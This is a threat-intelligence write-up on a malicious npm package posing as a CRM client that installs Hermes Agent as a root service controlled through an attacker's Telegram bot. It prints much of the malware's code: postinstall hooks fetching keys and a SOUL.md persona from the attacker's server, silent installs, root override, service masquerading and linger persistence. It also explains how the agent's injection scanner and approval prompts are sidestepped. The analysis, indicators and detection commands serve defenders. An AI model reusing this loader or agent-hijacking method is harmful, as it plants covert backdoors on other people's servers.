Malicious npm Package Turns Hermes Agent into a Backdoor
On this page
The malicious npm package @leadstack/crm-connect installed a full AI agent on the servers it reached. It posed as the official client for a CRM called LeadStack. On install it set up Hermes Agent, an open-source agent from Nous Research that can run shell commands, edit files and drive a browser. It downloaded the agent’s keys and standing instructions from the attacker’s server and connected the agent to the attacker’s Telegram bot. Then it registered the agent as a systemd service renamed “LeadStack Lead Routing Daemon”. When npm install ran as root, the agent ran as root. From then on the attacker could give the server orders from a Telegram chat.
The npm account zmaticoo published nine versions on 16 November 2026. SafeDep flagged the package five minutes after the last release, and npm has since removed it. In September, ThreatDown reported a botnet(opens in new tab) that spreads through exposed Docker APIs and runs Hermes Agent as an implant. This is the first case SafeDep has seen of an npm install doing the same, with the agent’s persona downloaded at install time. The publisher is still active. Three packages it released on 18 November contain no code of their own and pull a dependency from the attacker’s server instead.
TL;DR
Impact
- Installs Hermes Agent and connects it to a Telegram bot the attacker controls. Through that bot the attacker can run shell commands, read and write files, browse the web and schedule jobs on the host.
- Runs the agent as a root systemd service when
npm installruns as root. Version 1.0.18 falls back to a user service and tries to enable linger, so the agent keeps running after the user logs out. - Fetches the agent’s
.envfile andSOUL.mdinstructions from 72[.]62[.]1[.]108 during the install. - Names the service “LeadStack routing” and deletes the original Hermes unit file.
- Later versions drop the agent and run JavaScript or a binary downloaded from the attacker’s server, with the full environment of the install.
Indicators of compromise
@leadstack/crm-connect1.0.15, 1.0.18, 1.0.19, 1.0.20, 1.0.21, 1.0.29, 1.0.30, 1.1.0 and 1.1.1- 72[.]62[.]1[.]108,
72-62-1-108[.]sslip[.]ioandzmaticco[.]dev - systemd units
leadstack-routing.serviceandleadstack-ingest-worker.service ~/.leadstack/,~/.config/leadstack/and~/.local/share/leadstack/bin/
The full list is in Indicators of compromise.
Versions and timeline
The npm user zmaticoo (venstate25@gmail[.]com) published all nine versions between 09:44 and 15:27 UTC. The package described itself as “Official LeadStack CRM client”. Its early READMEs asked for “LeadStack partner access on npm (private org)”, and every version except the last set "access": "restricted" in publishConfig. The npmmirror copy, which still serves every tarball, records the package as created at 15:26 UTC, a minute before the last release. That suggests the package stayed private for most of the day. Only npm can confirm it. Version numbers 1.0.0 to 1.0.14, 1.0.16, 1.0.17 and 1.0.22 to 1.0.28 do not appear on the mirror.
- 09:441.0.15 publishedMalicious
The postinstall script installs Hermes Agent and its Telegram gateway.
- 10:421.0.18 to 1.0.21 publishedMalicious
The payload moves to the first SDK call, then to a module downloaded from the server.
- 14:551.0.29 and 1.0.30 publishedMalicious
The postinstall script downloads a binary and runs it.
- 15:241.1.0 and 1.1.1 publishedMalicious
The postinstall script runs a platform package that was never published.
- 15:26npmmirror first records the package
The earliest public trace of the package.
- 15:33SafeDep flags the packageMalicious 0.9
Static analysis finds install-time downloads from 72[.]62[.]1[.]108.
- 16:20A SafeDep researcher confirms the verdict
The package is marked malicious.
LeadStack is a borrowed name. The package’s docs point at api.leadstack.io, a host that does not resolve. The domain leadstack.io belongs to an unrelated business consultancy that has nothing to do with this package.
How the payload starts
Version 1.0.15 carries the agent install in full. Its package.json declares a postinstall script.
"scripts": {
"postinstall": "node ./bin/postinstall.js"
},bin/postinstall.js runs bin/lead-provision.js with Node warnings switched off and fails the install if the script fails.
const r = spawnSync(process.execPath, [path.join(dir, "lead-provision.js")], {
stdio: verbose ? "inherit" : "inherit",
env: {
...process.env,
NPM_CONFIG_ENGINE_STRICT: "false",
NODE_NO_WARNINGS: "1",
},
});
process.exit(r.status === 0 ? 0 : 1);lead-provision.js does everything from one main() function. It checks that the server is up, writes the agent’s configuration, installs the agent, picks the model and makes it permanent.
async function main() {
printLeadProgress("connecting to lead-core…");
const creds = resolvePartnerCredentials();
const cfg = loadPartnerConfig();
if (!creds.token && !creds.partnerId) fail("Missing pairing profile");
await pingLeadApi(cfg?.leadApiUrl);
printLeadProgress("endpoint verified");
const data = await fetchBootstrap(creds);
mergeEnvFile(path.join(hermesHome(), ".env"), data.env_lines);
await fetchSoul(creds);
printLeadProgress("profile applied");
installRuntimeHidden();
printLeadProgress("routing agent provisioned");
const cli = findAgentCli();
configureModel(cli, cfg);
enablePersistence(cli);
printLeadOk();
}Agent configuration from the attacker’s server
The bundled configuration file names the server and the model.
{
"bootstrapUrl": "http://72.62.1.108:3000/api/v1/partner/bootstrap",
"partnerId": "leadstack-connect-default",
"leadApiUrl": "http://72.62.1.108:3000",
"publicEndpoint": "https://api.leadstack.io",
"modelProvider": "kimi-coding",
"modelDefault": "kimi-k2-0711-preview"
}Two requests to that server set up the agent. The first must return a list called env_lines, or the script stops. Those lines go into the .env file in the agent’s home directory, ~/.leadstack/agent/ by default. The second returns plain text, which the script saves as the agent’s SOUL.md.
async function fetchBootstrap(creds) {
if (!creds.token && !creds.partnerId) fail("Missing pairing profile");
const res = await fetch(creds.bootstrapUrl, { headers: bootstrapHeaders(creds) });
if (!res.ok) fail(`Bootstrap HTTP ${res.status}`);
const data = await res.json();
if (!data.env_lines?.length) fail("Invalid bootstrap payload");
return data;
}
async function fetchSoul(creds) {
const origin = new URL(creds.bootstrapUrl).origin;
const h = bootstrapHeaders(creds);
h.Accept = "text/plain";
const res = await fetch(`${origin}/api/v1/partner/profile`, { headers: h });
if (!res.ok) return;
const text = await res.text();
if (text.length > 20) {
fs.mkdirSync(hermesHome(), { recursive: true });
fs.writeFileSync(path.join(hermesHome(), "SOUL.md"), text, "utf8");
}
}SOUL.md decides who the agent is. Hermes Agent places it first in the system prompt, and its starter template says the file “is loaded fresh each message”. The prompt-injection scanner only logs a warning(opens in new tab) when it flags a SOUL.md in the agent’s home directory, and loads the file anyway.
The package never asks the victim for a model key or a bot token, and Hermes Agent cannot reach Telegram without them. So the .env from the server has to carry a Telegram bot token and a key for the Kimi model named in the configuration file. It also needs either a list of Telegram users the agent will obey or a setting that lets anyone in. Without one of those two, Hermes denies every Telegram user(opens in new tab). SafeDep did not recover the real .env or SOUL.md. On 19 November port 3000 no longer answered, and the same paths on port 80 returned HTTP 401 with a request for a bearer token.
The token can come from an environment variable or a configuration file next to the script.
export function resolvePartnerCredentials() {
const cfg = loadPartnerConfig();
const token =
process.env.LEADSTACK_PAIRING_TOKEN ||
process.env.HERMES_LAB_TOKEN ||
cfg?.pairingToken ||
cfg?.labToken ||
"";
const partnerId = (cfg?.partnerId || process.env.LEADSTACK_PARTNER_ID || "").trim();
const bootstrapUrl =
process.env.LEADSTACK_BOOTSTRAP_URL ||
process.env.HERMES_BOOTSTRAP_URL ||
cfg?.bootstrapUrl ||
"https://api.leadstack.io/api/v1/partner/bootstrap";
return { token, partnerId, bootstrapUrl, config: cfg };HERMES_LAB_TOKEN, HERMES_BOOTSTRAP_URL and a deprecated loadLabConfig export in the same file suggest the author started from a Hermes “lab” project and renamed it for the LeadStack lure.
Installing the agent out of sight
The script installs the agent into ~/.leadstack/runtime with a second, nested npm install. It runs that install with logging set to silent, audit and funding messages off, and engine checks disabled, so nothing about Hermes reaches the user’s terminal.
/** Suppress nested npm noise (EBADENGINE, hermes package name on stderr). */
function npmEnv(extra = {}) {
return {
...process.env,
...extra,
NPM_CONFIG_ENGINE_STRICT: "false",
npm_config_engine_strict: "false",
NPM_CONFIG_LOGLEVEL: verbose ? "warn" : "silent",
NPM_CONFIG_AUDIT: "false",
NPM_CONFIG_FUND: "false",
NODE_NO_WARNINGS: "1",
};
} const r = runQuiet(
"npm",
[
"install",
"--prefix",
rt,
"--no-save",
"--ignore-engines",
"--no-audit",
"--no-fund",
"hermes-agent@0.22.7",
],
{ cwd: rt }
);It then prepares the Telegram gateway and sets the model.
const h = path.join(rt, "node_modules", ".bin", "hermes");
if (fs.existsSync(h)) {
// Warm Telegram adapter deps before systemd start (avoids race on first boot).
spawnSync(h, ["setup", "gateway", "--non-interactive"], {
stdio: "ignore",
shell: true,
cwd: rt,
env: hermesEnv(),
});
}function configureModel(cli, cfg) {
const provider = cfg?.modelProvider || "kimi-coding";
const model = cfg?.modelDefault || "kimi-k2-0711-preview";
const opts = { env: hermesEnv(), cwd: runtimeDir() };
spawnSync(cli, ["config", "set", "model.provider", provider], {
stdio: verbose ? "inherit" : "ignore",
shell: true,
...opts,
});
spawnSync(cli, ["config", "set", "model.default", model], {
stdio: verbose ? "inherit" : "ignore",
shell: true,
...opts,
});hermes-agent(opens in new tab) on npm is an unofficial wrapper around Nous Research’s Hermes Agent. The npm user wyrtensi maintains it and publishes it from GitHub Actions. Version 0.22.7 came out on 4 November 2026. Nothing points to the wrapper or to Hermes Agent being malicious. @leadstack/crm-connect uses them the way an administrator would, without asking the owner of the machine.
Persistence as a systemd service
With Hermes Agent in place, the script registers its gateway as a system service.
function enablePersistence(cli) {
const opts = { env: hermesEnv(), cwd: runtimeDir() };
spawnSync(
cli,
["gateway", "install", "--system", "--run-as-user", "root", "--no-start-now"],
{ stdio: verbose ? "inherit" : "ignore", shell: true, ...opts }
);
sleepSec(5);
const since = nowJournalSince();
startGateway();
ensureTelegramReadyWithSince(since);
rebrandGatewayUnit();
if (fs.existsSync(`/etc/systemd/system/${GATEWAY_UNIT}.service`)) {
startGateway();
}
}Hermes Agent does not install its gateway as a root service by default. Its installer stops with “Refusing to install the gateway system service as root; pass —run-as-user root to override (e.g. in LXC containers)” (hermes_cli/gateway.py(opens in new tab)). The package passes that flag. The unit Hermes writes has Restart=always and WantedBy=multi-user.target, so the agent starts at boot and comes back if something kills it.
After the agent connects to Telegram, the script renames the unit.
function rebrandGatewayUnit() {
if (process.platform !== "linux") return false;
const src = findHermesGatewayUnit();
const dst = `/etc/systemd/system/${GATEWAY_UNIT}.service`;
if (!src || !fs.existsSync(src)) return false;
let unit = fs.readFileSync(src, "utf8");
unit = unit.replace(
/^Description=.*$/m,
"Description=LeadStack Lead Routing Daemon (platform sync)"
);
unit = unit.replace(/Hermes Agent Gateway[^\n]*/g, "LeadStack routing");
fs.writeFileSync(dst, unit, "utf8");
const installedName = path.basename(src, ".service");
runQuiet("systemctl", ["disable", "--now", installedName], { env: hermesEnv() });
try {
fs.unlinkSync(src);
} catch {
/* ignore */
}
runQuiet("systemctl", ["daemon-reload"], { env: hermesEnv() });
runQuiet("systemctl", ["enable", GATEWAY_UNIT], { env: hermesEnv() });
return true;
}The script names the copy leadstack-routing.service and deletes the original hermes-gateway unit, so systemctl status shows a CRM daemon.
No version calls sudo or tries to escalate privileges. Version 1.0.15 assumes npm install already runs as root, which is common on servers and with sudo npm install. As a normal user, writing to /etc/systemd/system fails, the script exits with an error, and npm install fails with it. By then the agent, its .env and its SOUL.md are already on disk. Version 1.0.18, published about an hour later, handles the normal user. It installs a user-level service and turns on linger, which keeps the user’s services running after logout and starts them at boot.
function useUserSystemd() {
const cfg = loadPartnerConfig();
if (process.env.LEADSTACK_USER_PERSISTENCE === "1") return true;
if (cfg?.persistence === "user") return true;
if (process.getuid && process.getuid() !== 0) return true;
return false;
} if (useUserSystemd()) {
runQuiet("loginctl", ["enable-linger", os.userInfo().username], {
env: hermesEnv(),
});
}Some distributions require admin rights to enable linger. If the system refuses the call, the script carries on quietly, and the service runs only while the user stays logged in.
Waiting for the agent to connect
The install does not finish until the agent is online. The script starts the service and reads its journal every three seconds, for up to three minutes, looking for the line Hermes Agent logs when its Telegram adapter connects. If the line has not appeared after 22 seconds, it restarts the service once.
function telegramPollingReady(since) {
const re = /Connected to Telegram \(polling mode\)/;
return activeGatewayUnits().some((unit) => re.test(journalSince(since, unit)));
}Then it prints a status report.
console.log("");
console.log(" @leadstack/crm-connect");
console.log(" ✓ Lead API handshake");
console.log(" ✓ CRM profile synchronized");
console.log(" ✓ Routing agent provisioned");
console.log(" ✓ Persistent sync enabled");
console.log(" ✓ Status: OK — connected to lead platform");Every line on that list describes CRM work. The steps behind them installed an agent, gave it the attacker’s keys and connected it to the attacker’s Telegram bot.
What the attacker gets
A Telegram chat with Hermes Agent gets the same toolset as its command line, according to the toolsets reference(opens in new tab).
| Capability | Hermes Agent tools |
|---|---|
| Shell commands on the server | terminal, process_manage |
| Read and change files | read_file, write_file, patch, search_files |
| Web and browser | web_search, web_extract, browser_* |
| Run code | execute_code |
| Scheduled jobs | cronjob_manage |
| Hand work to sub-agents | delegate_task |
Commands that Hermes treats as dangerous wait for approval in the chat. By default, any member allowed into the chat can approve them, and the attacker is that member. HERMES_YOLO_MODE=1 in the .env would remove the prompts altogether, apart from a fixed blocklist. Whether the attacker’s .env sets it is not known.
ThreatDown described the same use of Hermes Agent in its Carbonato report(opens in new tab) in September 2026. That botnet spreads through Docker APIs left open on port 2375, installs Hermes Agent unchanged, overwrites its SOUL.md and takes tasks over Telegram. @leadstack/crm-connect reaches its targets through npm install instead and downloads the persona during the install, so the attacker can change the agent’s instructions and keys without publishing a new version.
How delivery changed across nine versions
The server stayed the same across all nine versions. The way the package reached it kept changing.
| Version | Published (UTC) | Trigger | What runs | Server |
|---|---|---|---|---|
| 1.0.15 | 09:44 | postinstall | Hermes Agent as a system service | 72[.]62[.]1[.]108:3000 |
| 1.0.18 | 10:42 | First call to sdkVersion() or pingPartnerApi() | Hermes Agent, user service with linger when not root | api.leadstack.io (does not resolve) |
| 1.0.19 | 10:56 | pingPartnerApi() after a successful health check | JavaScript module downloaded and run detached | api.leadstack.io (does not resolve) |
| 1.0.20 | 11:14 | postinstall named npm-cache-warm.js | Same module | 72-62-1-108[.]sslip[.]io |
| 1.0.21 | 11:14 | postinstall | Same module | 72[.]62[.]1[.]108 |
| 1.0.29 | 14:55 | postinstall | Binary downloaded and run | api.leadstack.io (does not resolve) |
| 1.0.30 | 15:04 | postinstall | Same binary | 72[.]62[.]1[.]108 |
| 1.1.0, 1.1.1 | 15:24, 15:27 | postinstall | Platform package @leadstack/crm-connector-linux-x64, run with node | none (package never published) |
From 1.0.19 on, the tarball holds no agent code. It runs code fetched at install or run time, with the full environment of the process that loaded it. SafeDep did not recover those downloads. Some comments read like answers to a reviewer. 1.0.19 describes sdkVersion() as having “no side effects (safe for CI lockfile checks)”, and its README says the package “does not ship long-running worker code in the tarball”. Both statements are true. The worker code arrives from the server.
Who the package targets
The READMEs speak to engineers wiring a CRM into server-side code. Version 1.0.15 calls itself a “partner connector for server-side lead ingest, affiliate attribution, and platform sync”. Version 1.0.18 says to install it “in the same Node project as your ingest API or webhook worker”. It also asks for a dedicated OS user, because “this matches how LeadStack stages CRM credentials”.
The payload fits that audience. A systemd service, linger and a seven-day re-run lock make sense on a Linux server that stays up for months. On a throwaway CI runner they achieve nothing. Version 1.0.19 even keeps sdkVersion() free of side effects so CI checks do not set it off. In 1.0.18 the payload starts on the first SDK call. It then runs inside the CRM application’s own process and inherits its environment, including any CRM credentials.
The lure the same publisher used on 18 November names the sector. A guide on its new domain addresses “integration engineers at our CRM / broker-desk partners” of “a network of trading brands”. That is the vocabulary of forex and contract-for-difference (CFD) brokerages. The likely aim is the CRM credentials and lead data on those servers. SafeDep infers that from the lures and the payload design and has not observed it on a victim.
The same publisher is still active
On 18 November someone registered zmaticco[.]dev, a lookalike of the ad-tech company zMaticoo, which has no connection to this activity. The domain resolves to 72[.]62[.]1[.]108, the same server. That evening zmaticoo published @zmatdspcrm/trading-connector, @zmatdspcrm/brandnet-connect and brandnet-connect. None of them has an install script or malicious code in its tarball. Each declares one optional dependency.
"optionalDependencies": {
"brandnet-entitlement": "https://zmaticco.dev/packages/brandnet-entitlement-1.0.0.tgz"
},npm downloads that tarball on every fresh install and runs any install script it contains. On 19 November the server returned a harmless token validator. The attacker can replace it at any time without publishing anything to npm. A PDF on the same domain walks integration engineers through npm install brandnet-connect on “a staging or integration host”. All three packages were still on npm on 19 November.
Check your servers
Look for the agent’s files and the renamed units. On a root install the home directory is /root.
$ ls -la ~/.leadstack ~/.config/leadstack ~/.local/share/leadstack /root/.leadstack /root/.config/leadstack 2>/dev/null
$ systemctl list-unit-files 'leadstack-*' 'hermes-gateway*'
$ systemctl --user list-unit-files 'leadstack-*' 'hermes-gateway*'
$ loginctl show-user "$USER" -p LingerSearch lockfiles for the packages and the remote dependency.
$ grep -rnE '@leadstack/crm-connect|@zmatdspcrm/|brandnet-connect|zmaticco\.dev' --include=package.json --include=package-lock.json --include=yarn.lock --include=pnpm-lock.yaml .In network logs, look for connections to 72[.]62[.]1[.]108 and zmaticco[.]dev, and for servers that long-poll api.telegram.org or call the Moonshot API at api.moonshot.ai without a reason to.
Treat a server that installed any of these versions as root as fully compromised. Rebuild it rather than cleaning it, and rotate every credential the server or the application’s environment could reach. A non-root install ran the agent with the installing user’s rights. If that user runs the application, the agent could read the application’s secrets.
Indicators of compromise
| Row | type | value | package | context | first_seen_utc |
|---|---|---|---|---|---|
| 1 | npm_package_version | @leadstack/crm-connect@1.0.15 | @leadstack/crm-connect | Postinstall installs Hermes Agent and its Telegram gateway as a root systemd service; removed from npm | 2026-11-16T09:44:36Z |
| 2 | npm_package_version | @leadstack/crm-connect@1.0.18 | @leadstack/crm-connect | Same agent install on first SDK call; user service with linger when not root; C2 host does not resolve | 2026-11-16T10:42:24Z |
| 3 | npm_package_version | @leadstack/crm-connect@1.0.19 | @leadstack/crm-connect | Downloads and runs a JS module after a successful health check; C2 host does not resolve | 2026-11-16T10:56:33Z |
| 4 | npm_package_version | @leadstack/crm-connect@1.0.20 | @leadstack/crm-connect | Postinstall downloads and runs a detached JS module from 72-62-1-108[.]sslip[.]io | 2026-11-16T11:14:07Z |
| 5 | npm_package_version | @leadstack/crm-connect@1.0.21 | @leadstack/crm-connect | Postinstall downloads and runs a detached JS module from 72[.]62[.]1[.]108 | 2026-11-16T11:14:30Z |
| 6 | npm_package_version | @leadstack/crm-connect@1.0.29 | @leadstack/crm-connect | Postinstall downloads and runs a binary; C2 host does not resolve | 2026-11-16T14:55:53Z |
| 7 | npm_package_version | @leadstack/crm-connect@1.0.30 | @leadstack/crm-connect | Postinstall downloads and runs a binary from 72[.]62[.]1[.]108 | 2026-11-16T15:04:31Z |
| 8 | npm_package_version | @leadstack/crm-connect@1.1.0 | @leadstack/crm-connect | Postinstall runs an unpublished platform package with the full environment | 2026-11-16T15:24:09Z |
| 9 | npm_package_version | @leadstack/crm-connect@1.1.1 | @leadstack/crm-connect | Same as 1.1.0 with a new pinned hash | 2026-11-16T15:27:57Z |
| 10 | npm_package_version | @zmatdspcrm/trading-connector@1.0.0 | @zmatdspcrm/trading-connector | Optional dependency fetched from zmaticco[.]dev; no install scripts | 2026-11-18T18:28:21Z |
| 11 | npm_package_version | @zmatdspcrm/trading-connector@1.0.1 | @zmatdspcrm/trading-connector | Optional dependency fetched from zmaticco[.]dev; no install scripts | 2026-11-18T18:31:33Z |
| 12 | npm_package_version | @zmatdspcrm/brandnet-connect@1.0.0 | @zmatdspcrm/brandnet-connect | Optional dependency fetched from zmaticco[.]dev; no install scripts | 2026-11-18T18:33:58Z |
| 13 | npm_package_version | brandnet-connect@1.0.0 | brandnet-connect | Optional dependency fetched from zmaticco[.]dev; no install scripts | 2026-11-18T18:36:25Z |
| 14 | npm_package_version | brandnet-connect@1.0.1 | brandnet-connect | Optional dependency fetched from zmaticco[.]dev; no install scripts | 2026-11-18T18:49:31Z |
| 15 | sha256 | 29559f042f81c7a6cc642173eab09b0b02e369f47b594b68c78028ef2df10e4c | @leadstack/crm-connect | crm-connect-1.0.15.tgz | 2026-11-16T09:44:36Z |
| 16 | sha256 | 8cd56c6a036ae6d08cc07e64f98a3af7d836204d7620203bee5b8fd7d6931757 | @leadstack/crm-connect | crm-connect-1.0.18.tgz | 2026-11-16T10:42:24Z |
| 17 | sha256 | 3083068c322829c9840f0931f7adfb39b8357d0d8a074d7f1967174631443154 | @leadstack/crm-connect | crm-connect-1.0.19.tgz | 2026-11-16T10:56:33Z |
| 18 | sha256 | ce1812a6e1a5bc99cc705e44b10ae476324ea7930616508a11cc3173934e1abb | @leadstack/crm-connect | crm-connect-1.0.20.tgz | 2026-11-16T11:14:07Z |
| 19 | sha256 | d95fad3aea003d6b53645daa8d724ac32e4b2e25e6e4c71264fdb15f8b8b3adb | @leadstack/crm-connect | crm-connect-1.0.21.tgz | 2026-11-16T11:14:30Z |
| 20 | sha256 | 8a2f9a526955a07b183c3f3658d2088eb4c8c66d3fcaf8fb91322944b82e6e92 | @leadstack/crm-connect | crm-connect-1.0.29.tgz | 2026-11-16T14:55:53Z |
MITRE ATT&CK mapping
| Technique | ID | Where it appears |
|---|---|---|
| Supply Chain Compromise: Compromise Software Supply Chain | T1195.002 | Malicious packages published to npm |
| Command and Scripting Interpreter: JavaScript | T1059.007 | postinstall scripts and loaders |
| Ingress Tool Transfer | T1105 | hermes-agent install, downloaded module and binary |
| Create or Modify System Process: Systemd Service | T1543.002 | Hermes gateway installed as a system or user service |
| Masquerading: Masquerade Task or Service | T1036.004 | Unit renamed to leadstack-routing.service |
| Web Service: Bidirectional Communication | T1102.002 | Telegram bot used to task the agent |
References
@leadstack/crm-connecton npmmirror(opens in new tab)hermes-agenton npm(opens in new tab) and its source repository(opens in new tab)- Hermes Agent source at v0.22.7(opens in new tab)
- Hermes Agent security documentation(opens in new tab)
- Hermes Agent toolsets reference(opens in new tab)
- Hermes Agent personality and SOUL.md(opens in new tab)
- ThreatDown: Carbonato botnet(opens in new tab)
- supply-chain
- npm
- malware
- ai-agents
- backdoor
- threat-intel